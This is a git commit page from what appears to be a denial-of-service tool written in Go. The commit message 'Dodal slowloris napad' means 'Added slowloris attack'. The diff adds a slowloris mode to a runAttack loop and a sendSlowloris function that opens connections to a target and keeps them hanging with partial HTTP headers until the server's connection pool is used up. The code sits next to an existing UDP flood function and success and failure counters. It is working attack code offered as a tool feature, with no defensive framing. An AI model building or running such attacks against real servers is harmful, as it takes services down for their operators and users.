Dodal slowloris napad
This commit is contained in:
parent
10bc43d4fa
commit
4c97535b97
3 changed files with 47 additions and 0 deletions
|
|
@ -278,6 +278,12 @@ func runAttack(ctx context.Context, session *AttackSession) {
|
|||
} else {
|
||||
atomic.AddInt32(&session.Failed, 1)
|
||||
}
|
||||
case "slowloris":
|
||||
if err := sendSlowloris(session.Target); err == nil {
|
||||
atomic.AddInt32(&session.Success, 1)
|
||||
} else {
|
||||
atomic.AddInt32(&session.Failed, 1)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
|
@ -316,6 +322,43 @@ func sendUDP(target string) error {
|
|||
return err
|
||||
}
|
||||
|
||||
func sendSlowloris(target string) error {
|
||||
// Slowloris attack: Send partial HTTP requests to exhaust connection pool
|
||||
conn, err := net.Dial("tcp", target+":80")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Send partial HTTP request
|
||||
_, err = conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\n"))
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return err
|
||||
}
|
||||
|
||||
// Keep connection open for extended period (simulate slow client)
|
||||
go func() {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
defer conn.Close()
|
||||
|
||||
// Send additional headers slowly to keep connection alive
|
||||
for i := 0; i < 6; i++ { // Keep alive for 60 seconds
|
||||
select {
|
||||
case <-ticker.C:
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("X-Custom-Header-%d: value\r\n", i)))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
// Finally close the request
|
||||
conn.Write([]byte("\r\n"))
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func statusHandler(w http.ResponseWriter, r *http.Request) {
|
||||
sessions := netTool.getAllSessions()
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue